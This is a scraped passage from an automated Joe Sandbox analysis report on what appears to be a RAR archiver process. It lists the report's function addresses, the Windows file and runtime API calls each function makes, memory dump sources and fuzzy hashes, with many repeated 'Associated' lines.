Associated: 00000044.00000002.1923462255.00007FF702C70000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000044.00000002.1923504077.00007FF702C88000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000044.00000002.1923540470.00007FF702C89000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000044.00000002.1923574782.00007FF702C8A000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000044.00000002.1923574782.00007FF702C94000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000044.00000002.1923574782.00007FF702C9E000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000044.00000002.1923574782.00007FF702CA6000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000044.00000002.1923717407.00007FF702CA8000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000044.00000002.1923755863.00007FF702CAE000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_68_2_7ff702c00000_rar.jbxd

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: 4219d35e49beb692727e1c809157a61a389fcef5d2ea993dee933b1b68bc62b7
Instruction ID: 84b2a9277c7422d2b1390eacb8b25b4196de3adfc7190582ee31fad628274c89
Opcode Fuzzy Hash: 4219d35e49beb692727e1c809157a61a389fcef5d2ea993dee933b1b68bc62b7
Instruction Fuzzy Hash: F23139A3A1868556F730AF24D8053BAAAA0EF40B78F944334DD6C066C6DFFCC485C750

Function 00007FF702C0681C Relevance: 3.1, APIs: 2, Instructions: 75COMMON

Download Yara Rule

APIs

std::bad_alloc::bad_alloc.LIBCMT ref: 00007FF702C068AE
_CxxThrowException.LIBVCRUNTIME ref: 00007FF702C068BF

Memory Dump Source

Source File: 00000044.00000002.1923395362.00007FF702C01000.00000020.00000001.01000000.0000001A.sdmp, Offset: 00007FF702C00000, based on PE: true

Associated: 00000044.00000002.1923361859.00007FF702C00000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000044.00000002.1923462255.00007FF702C70000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000044.00000002.1923504077.00007FF702C88000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000044.00000002.1923540470.00007FF702C89000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000044.00000002.1923574782.00007FF702C8A000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000044.00000002.1923574782.00007FF702C94000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000044.00000002.1923574782.00007FF702C9E000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000044.00000002.1923574782.00007FF702CA6000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000044.00000002.1923717407.00007FF702CA8000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000044.00000002.1923755863.00007FF702CAE000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_68_2_7ff702c00000_rar.jbxd

Similarity

API ID: ExceptionThrowstd::bad_alloc::bad_alloc
String ID:
API String ID: 932687459-0
Opcode ID: e0b6576285a1405d5c99e18f7cacf33152f7ca5f18a954e7e6124ed6b2dff56f
Instruction ID: 0833ba49eedcc4f04047d65ba260c89fcf54f5d02e53f2614a577693c50fc343
Opcode Fuzzy Hash: e0b6576285a1405d5c99e18f7cacf33152f7ca5f18a954e7e6124ed6b2dff56f
Instruction Fuzzy Hash: F621A453D08F8592EB019F29D5810B96760FF9CB88B58A321DF8D4365AEF68E5E5C300

Function 00007FF702C3915C Relevance: 3.1, APIs: 2, Instructions: 51COMMON

Download Yara Rule

APIs

new.LIBCMT ref: 00007FF702C391CA
new.LIBCMT ref: 00007FF702C391F2

Memory Dump Source

Source File: 00000044.00000002.1923395362.00007FF702C01000.00000020.00000001.01000000.0000001A.sdmp, Offset: 00007FF702C00000, based on PE: true

Associated: 00000044.00000002.1923361859.00007FF702C00000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000044.00000002.1923462255.00007FF702C70000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000044.00000002.1923504077.00007FF702C88000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000044.00000002.1923540470.00007FF702C89000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000044.00000002.1923574782.00007FF702C8A000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000044.00000002.1923574782.00007FF702C94000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000044.00000002.1923574782.00007FF702C9E000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000044.00000002.1923574782.00007FF702CA6000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000044.00000002.1923717407.00007FF702CA8000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000044.00000002.1923755863.00007FF702CAE000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_68_2_7ff702c00000_rar.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 784165f73a5dee58fdb272d2981d7b5d67b9c1d468b1dc4f6242ca17e0923e90
Instruction ID: f43eb4245c392ed7a072a5cf961c2c87945837026d23d7980c7234dab2483c1b
Opcode Fuzzy Hash: 784165f73a5dee58fdb272d2981d7b5d67b9c1d468b1dc4f6242ca17e0923e90
Instruction Fuzzy Hash: 88118132A09B8191EB00BB55ED003BAF6A8EF85790FA40634DA9D077E6DFB8D051C324

Function 00007FF702C220B4 Relevance: 3.0, APIs: 2, Instructions: 45COMMON

Download Yara Rule

APIs

SetFilePointer.KERNELBASE(?,?,?,00007FF702C222EE), ref: 00007FF702C2211B
GetLastError.KERNEL32(?,?,?,00007FF702C222EE), ref: 00007FF702C22126

Memory Dump Source

Source File: 00000044.00000002.1923395362.00007FF702C01000.00000020.00000001.01000000.0000001A.sdmp, Offset: 00007FF702C00000, based on PE: true

Associated: 00000044.00000002.1923361859.00007FF702C00000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000044.00000002.1923462255.00007FF702C70000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000044.00000002.1923504077.00007FF702C88000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000044.00000002.1923540470.00007FF702C89000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000044.00000002.1923574782.00007FF702C8A000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000044.00000002.1923574782.00007FF702C94000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000044.00000002.1923574782.00007FF702C9E000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000044.00000002.1923574782.00007FF702CA6000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000044.00000002.1923717407.00007FF702CA8000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000044.00000002.1923755863.00007FF702CAE000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_68_2_7ff702c00000_rar.jbxd

Similarity

API ID: ErrorFileLastPointer
String ID:
API String ID: 2976181284-0
Opcode ID: 5815bd41f5973e06c2119053be911941aef37d92954e301d013d2bb4fe8795dc
Instruction ID: 97173b36d74c84283b875a959e7cea870546bba2505799423900ddbbc2617841
Opcode Fuzzy Hash: 5815bd41f5973e06c2119053be911941aef37d92954e301d013d2bb4fe8795dc
Instruction Fuzzy Hash: FC012932A1869152EB64AB25ED0043AE651EF44BE0F945230DE2D43BD4CFBCE845C711

Function 00007FF702C17A68 Relevance: 3.0, APIs: 2, Instructions: 40COMMON

Download Yara Rule

APIs

setbuf.LIBCMT ref: 00007FF702C17A7B

Part of subcall function 00007FF702C62AE4: _invalid_parameter_noinfo.LIBCMT ref: 00007FF702C67EF3

setbuf.LIBCMT ref: 00007FF702C17A8F

Part of subcall function 00007FF702C17B44: GetStdHandle.KERNEL32(?,?,?,00007FF702C17A9E), ref: 00007FF702C17B4A
Part of subcall function 00007FF702C17B44: GetFileType.KERNELBASE(?,?,?,00007FF702C17A9E), ref: 00007FF702C17B56
Part of subcall function 00007FF702C17B44: GetConsoleMode.KERNEL32(?,?,?,00007FF702C17A9E), ref: 00007FF702C17B69

Part of subcall function 00007FF702C62ABC: _invalid_parameter_noinfo.LIBCMT ref: 00007FF702C62AD0

Part of subcall function 00007FF702C62B40: _invalid_parameter_noinfo.LIBCMT ref: 00007FF702C62C1C

Memory Dump Source

Source File: 00000044.00000002.1923395362.00007FF702C01000.00000020.00000001.01000000.0000001A.sdmp, Offset: 00007FF702C00000, based on PE: true

Associated: 00000044.00000002.1923361859.00007FF702C00000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000044.00000002.1923462255.00007FF702C70000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000044.00000002.1923504077.00007FF702C88000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000044.00000002.1923540470.00007FF702C89000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000044.00000002.1923574782.00007FF702C8A000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000044.00000002.1923574782.00007FF702C94000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000044.00000002.1923574782.00007FF702C9E000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000044.00000002.1923574782.00007FF702CA6000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000044.00000002.1923717407.00007FF702CA8000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000044.00000002.1923755863.00007FF702CAE000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_68_2_7ff702c00000_rar.jbxd

Similarity

API ID: _invalid_parameter_noinfo$setbuf$ConsoleFileHandleModeType
String ID:
API String ID: 4044681568-0
Opcode ID: f07192c79666a39956ec6c96c62a0ae78d5d429c3948e52a2bea909d14abfe3a
Instruction ID: 79804748043af8479713954f12a0c2534aa1e93feb752fade188c5cdaace44a5
Opcode Fuzzy Hash: f07192c79666a39956ec6c96c62a0ae78d5d429c3948e52a2bea909d14abfe3a
Instruction Fuzzy Hash: 3501B302E0918225FB18B2B55C6A3BBEC428F92310FC08179E92E0A3D3CF9C2445C37A

Function 00007FF702C22440 Relevance: 3.0, APIs: 2, Instructions: 37COMMON

Download Yara Rule

APIs

SetFilePointer.KERNELBASE ref: 00007FF702C22480
GetLastError.KERNEL32 ref: 00007FF702C2248D

Memory Dump Source

Source File: 00000044.00000002.1923395362.00007FF702C01000.00000020.00000001.01000000.0000001A.sdmp, Offset: 00007FF702C00000, based on PE: true

Associated: 00000044.00000002.1923361859.00007FF702C00000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000044.00000002.1923462255.00007FF702C70000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000044.00000002.1923504077.00007FF702C88000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000044.00000002.1923540470.00007FF702C89000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000044.00000002.1923574782.00007FF702C8A000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000044.00000002.1923574782.00007FF702C94000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000044.00000002.1923574782.00007FF702C9E000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000044.00000002.1923574782.00007FF702CA6000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000044.00000002.1923717407.00007FF702CA8000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000044.00000002.1923755863.00007FF702CAE000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_68_2_7ff702c00000_rar.jbxd

Similarity

API ID: ErrorFileLastPointer
String ID:
API String ID: 2976181284-0
Opcode ID: 3cdbc9fc115b3786672d0ab875eb06079944196e3b63107a1cba7715dce50020
Instruction ID: 640f48e316d30b504f6b8b52a1bf5d73c018b90bfd8bdabb370dccbbef9f88b2
Opcode Fuzzy Hash: 3cdbc9fc115b3786672d0ab875eb06079944196e3b63107a1cba7715dce50020
Instruction Fuzzy Hash: 3D01C823A08642A1EB64FB29EC4437AAB50EF40778FA44331E53D011E5CFBCD58AC721

Function 00007FF702C230C8 Relevance: 3.0, APIs: 2, Instructions: 30COMMON

Download Yara Rule

APIs

GetFileAttributesW.KERNELBASE(00000800,00007FF702C2305D,?,?,?,?,?,?,?,?,00007FF702C34126,?,?,?,?,00000800), ref: 00007FF702C230F0
GetFileAttributesW.KERNELBASE(?,?,?,?,?,?,?,?,00007FF702C34126,?,?,?,?,00000800,00000000,00000000), ref: 00007FF702C23119

Memory Dump Source

Source File: 00000044.00000002.1923395362.00007FF702C01000.00000020.00000001.01000000.0000001A.sdmp, Offset: 00007FF702C00000, based on PE: true

Associated: 00000044.00000002.1923361859.00007FF702C00000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000044.00000002.1923462255.00007FF702C70000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000044.00000002.1923504077.00007FF702C88000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000044.00000002.1923540470.00007FF702C89000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000044.00000002.1923574782.00007FF702C8A000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000044.00000002.1923574782.00007FF702C94000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000044.00000002.1923574782.00007FF702C9E000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000044.00000002.1923574782.00007FF702CA6000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000044.00000002.1923717407.00007FF702CA8000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000044.00000002.1923755863.00007FF702CAE000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_68_2_7ff702c00000_rar.jbxd

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: 2e2186a7cb8ede8c780016636985b78a342ec6e28c4d5099e5617c1395310ad3
Instruction ID: a49ea9dcfbc74825fcfd0260f157693049bc201bdd0e902a54a6063ce87e2a79
Opcode Fuzzy Hash: 2e2186a7cb8ede8c780016636985b78a342ec6e28c4d5099e5617c1395310ad3
Instruction Fuzzy Hash: C2F08122B1869152EB60AB25EC443AAA6A0AF48794F800531E99D83799CFACD584C710

Function 00007FF702C4B3F0 Relevance: 3.0, APIs: 2, Instructions: 28libraryCOMMON

Download Yara Rule

APIs

GetSystemDirectoryW.KERNEL32(00000000,00007FF702C47F72), ref: 00007FF702C4B41E
LoadLibraryExW.KERNELBASE ref: 00007FF702C4B449

Memory Dump Source

Source File: 00000044.00000002.1923395362.00007FF702C01000.00000020.00000001.01000000.0000001A.sdmp, Offset: 00007FF702C00000, based on PE: true

Associated: 00000044.00000002.1923361859.00007FF702C00000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000044.00000002.1923462255.00007FF702C70000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000044.00000002.1923504077.00007FF702C88000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000044.00000002.1923540470.00007FF702C89000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000044.00000002.1923574782.00007FF702C8A000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000044.00000002.1923574782.00007FF702C94000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000044.00000002.1923574782.00007FF702C9E000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000044.00000002.1923574782.00007FF702CA6000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000044.00000002.1923717407.00007FF702CA8000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000044.00000002.1923755863.00007FF702CAE000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_68_2_7ff702c00000_rar.jbxd

Similarity

API ID: DirectoryLibraryLoadSystem
String ID:
API String ID: 1175261203-0
Opcode ID: 690506ff7ad01b68561af502f5f6bdd4c4444b6941644f14759842c93308c1c9
Instruction ID: dae6fef5014e20a07cb9aab8ea5289a4a836df3886e9075ac84b6ce588bdda51
Opcode Fuzzy Hash: 690506ff7ad01b68561af502f5f6bdd4c4444b6941644f14759842c93308c1c9
Instruction Fuzzy Hash: BBF0FF63B1898166FB70BB21EC153B7A764BF98784FC04131E98D82699DFACD644CB20

Function 00007FF702C4BA70 Relevance: 3.0, APIs: 2, Instructions: 23COMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(?,?,?,?,00007FF702C4BACD), ref: 00007FF702C4BA74
GetProcessAffinityMask.KERNEL32 ref: 00007FF702C4BA87

Memory Dump Source

Source File: 00000044.00000002.1923395362.00007FF702C01000.00000020.00000001.01000000.0000001A.sdmp, Offset: 00007FF702C00000, based on PE: true

Associated: 00000044.00000002.1923361859.00007FF702C00000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000044.00000002.1923462255.00007FF702C70000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000044.00000002.1923504077.00007FF702C88000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000044.00000002.1923540470.00007FF702C89000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000044.00000002.1923574782.00007FF702C8A000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000044.00000002.1923574782.00007FF702C94000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000044.00000002.1923574782.00007FF702C9E000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000044.00000002.1923574782.00007FF702CA6000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000044.00000002.1923717407.00007FF702CA8000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000044.00000002.1923755863.00007FF702CAE000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_68_2_7ff702c00000_rar.jbxd

Similarity

API ID: Process$AffinityCurrentMask
String ID:
API String ID: 1231390398-0
Opcode ID: b5cb634e91c6557fc3f51b2270fa7b26469bd4cc2c85bb60b503b74b5f948de9
Instruction ID: 6fb1542fc945eec18c2891d7eb6113f0a3dd5db14ae47664a3ab7f0d5e9c6418
Opcode Fuzzy Hash: b5cb634e91c6557fc3f51b2270fa7b26469bd4cc2c85bb60b503b74b5f948de9
Instruction Fuzzy Hash: 0BE0E562B3445152DBD8A719C891FAA5790AF44B80FC02035E40AC3A54DE5CD444CB10

Function 00007FF702C64A74 Relevance: 3.0, APIs: 2, Instructions: 19memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

RtlFreeHeap.NTDLL ref: 00007FF702C64A8A
GetLastError.KERNEL32 ref: 00007FF702C64A9C

Memory Dump Source

Source File: 00000044.00000002.1923395362.00007FF702C01000.00000020.00000001.01000000.0000001A.sdmp, Offset: 00007FF702C00000, based on PE: true

Associated: 00000044.00000002.1923361859.00007FF702C00000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000044.00000002.1923462255.00007FF702C70000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000044.00000002.1923504077.00007FF702C88000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000044.00000002.1923540470.00007FF702C89000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000044.00000002.1923574782.00007FF702C8A000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000044.00000002.1923574782.00007FF702C94000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000044.00000002.1923574782.00007FF702C9E000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000044.00000002.1923574782.00007FF702CA6000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000044.00000002.1923717407.00007FF702CA8000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000044.00000002.1923755863.00007FF702CAE000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_68_2_7ff702c00000_rar.jbxd

Similarity

API ID: ErrorFreeHeapLast
String ID:
API String ID: 485612231-0
Opcode ID: eba7cb3a1b25fa9ccf71865f2d4f1c33426d57f6117c222b9e149abc10e1791e
Instruction ID: fe0f17d02f2e1e6a95bbb0092decb80e4d96522dcc6affa25067a7aa4ab24a78
Opcode Fuzzy Hash: eba7cb3a1b25fa9ccf71865f2d4f1c33426d57f6117c222b9e149abc10e1791e
Instruction Fuzzy Hash: 40E08663E1954366FF3CB7F25C08177EAD16F44744F844430D90D86252EFAC6441C368

Function 00007FF702C471FC Relevance: 1.9, APIs: 1, Instructions: 353COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000044.00000002.1923395362.00007FF702C01000.00000020.00000001.01000000.0000001A.sdmp, Offset: 00007FF702C00000, based on PE: true

Associated: 00000044.00000002.1923361859.00007FF702C00000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000044.00000002.1923462255.00007FF702C70000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000044.00000002.1923504077.00007FF702C88000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000044.00000002.1923540470.00007FF702C89000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000044.00000002.1923574782.00007FF702C8A000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000044.00000002.1923574782.00007FF702C94000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000044.00000002.1923574782.00007FF702C9E000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000044.00000002.1923574782.00007FF702CA6000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000044.00000002.1923717407.00007FF702CA8000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000044.00000002.1923755863.00007FF702CAE000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_68_2_7ff702c00000_rar.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9ac513db4036a5898ded250dd79eb32afe9a02ed88e0a62a20bc990054a4dda4
Instruction ID: f5136ec5bff3bcfedfb246cbb1bb306fb006404218d829b159947905073e4b89
Opcode Fuzzy Hash: 9ac513db4036a5898ded250dd79eb32afe9a02ed88e0a62a20bc990054a4dda4
Instruction Fuzzy Hash: 3EE1C523A0C682A1FB20AA249C546BBEF52EF41B98FC44135DE4D4B7D6DFED9449C720

Function 00007FF702C072C4 Relevance: 1.6, APIs: 1, Instructions: 100COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF702C3915C: new.LIBCMT ref: 00007FF702C391CA
Part of subcall function 00007FF702C3915C: new.LIBCMT ref: 00007FF702C391F2

new.LIBCMT ref: 00007FF702C073DE

Memory Dump Source

Source File: 00000044.00000002.1923395362.00007FF702C01000.00000020.00000001.01000000.0000001A.sdmp, Offset: 00007FF702C00000, based on PE: true

Associated: 00000044.00000002.1923361859.00007FF702C00000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000044.00000002.1923462255.00007FF702C70000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000044.00000002.1923504077.00007FF702C88000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000044.00000002.1923540470.00007FF702C89000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000044.00000002.1923574782.00007FF702C8A000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000044.00000002.1923574782.00007FF702C94000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000044.00000002.1923574782.00007FF702C9E000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000044.00000002.1923574782.00007FF702CA6000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000044.00000002.1923717407.00007FF702CA8000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000044.00000002.1923755863.00007FF702CAE000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_68_2_7ff702c00000_rar.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f9e8ef509cf6c131bd0f799b7968fd127fe3009836c6d6a2c7defeaf5bae96b7
Instruction ID: 64c79ab5e03b8edb121ab0ec9c68cb0473bef7f7cf56d512d8a23d00f661d840
Opcode Fuzzy Hash: f9e8ef509cf6c131bd0f799b7968fd127fe3009836c6d6a2c7defeaf5bae96b7
Instruction Fuzzy Hash: 6B512773518BD195E700AF24A8451EE7BA8FB44F88F58423ADA880B79ADF78A155C331

Function 00007FF702C6231C Relevance: 1.6, APIs: 1, Instructions: 96COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32 ref: 00007FF702C62344

Part of subcall function 00007FF702C624D4: GetModuleHandleExW.KERNEL32 ref: 00007FF702C624F4
Part of subcall function 00007FF702C624D4: GetProcAddress.KERNEL32 ref: 00007FF702C6250A
Part of subcall function 00007FF702C624D4: FreeLibrary.KERNEL32 ref: 00007FF702C6252F

Memory Dump Source

Source File: 00000044.00000002.1923395362.00007FF702C01000.00000020.00000001.01000000.0000001A.sdmp, Offset: 00007FF702C00000, based on PE: true

Associated: 00000044.00000002.1923361859.00007FF702C00000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000044.00000002.1923462255.00007FF702C70000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000044.00000002.1923504077.00007FF702C88000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000044.00000002.1923540470.00007FF702C89000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000044.00000002.1923574782.00007FF702C8A000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000044.00000002.1923574782.00007FF702C94000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000044.00000002.1923574782.00007FF702C9E000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000044.00000002.1923574782.00007FF702CA6000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000044.00000002.1923717407.00007FF702CA8000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000044.00000002.1923755863.00007FF702CAE000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_68_2_7ff702c00000_rar.jbxd

Similarity

API ID: HandleModule$AddressFreeLibraryProc
String ID:
API String ID: 3947729631-0
Opcode ID: ab07719b1dbe22030e8646d784921353e02d3757405243c58476c88a44abd4a6
Instruction ID: e63d838e522881207e02ccdc7973aa16faa0f670a993d843fac69790ed18d8f9
Opcode Fuzzy Hash: ab07719b1dbe22030e8646d784921353e02d3757405243c58476c88a44abd4a6
Instruction Fuzzy Hash: C341D223A09603A2FB68FB109C5827BAA95FF80B44F984435DD0D47AD1DFBCE844C365

Function 00007FF702C68050 Relevance: 1.6, APIs: 1, Instructions: 51COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF702C68084

Memory Dump Source

Source File: 00000044.00000002.1923395362.00007FF702C01000.00000020.00000001.01000000.0000001A.sdmp, Offset: 00007FF702C00000, based on PE: true

Associated: 00000044.00000002.1923361859.00007FF702C00000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000044.00000002.1923462255.00007FF702C70000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000044.00000002.1923504077.00007FF702C88000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000044.00000002.1923540470.00007FF702C89000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000044.00000002.1923574782.00007FF702C8A000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000044.00000002.1923574782.00007FF702C94000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000044.00000002.1923574782.00007FF702C9E000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000044.00000002.1923574782.00007FF702CA6000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000044.00000002.1923717407.00007FF702CA8000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000044.00000002.1923755863.00007FF702CAE000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_68_2_7ff702c00000_rar.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: 81a00aba03bed044d944170de60365d76bbe78fde453a36ffdf0bcb9fcb17f33
Instruction ID: f1f4e8c0f9f4e0ef1e25bee10669c58e997509a80f4d72f235d9f29a3d3fdff3
Opcode Fuzzy Hash: 81a00aba03bed044d944170de60365d76bbe78fde453a36ffdf0bcb9fcb17f33
Instruction Fuzzy Hash: 5D11723791C682A2E710AB50AD4867BFA94FF40344FD80A35E64D47795DFBDE404C768

Function 00007FF702C14D1C Relevance: 1.5, APIs: 1, Instructions: 44COMMON

Download Yara Rule

APIs

GetCommandLineW.KERNEL32 ref: 00007FF702C14D47

Memory Dump Source

Source File: 00000044.00000002.1923395362.00007FF702C01000.00000020.00000001.01000000.0000001A.sdmp, Offset: 00007FF702C00000, based on PE: true

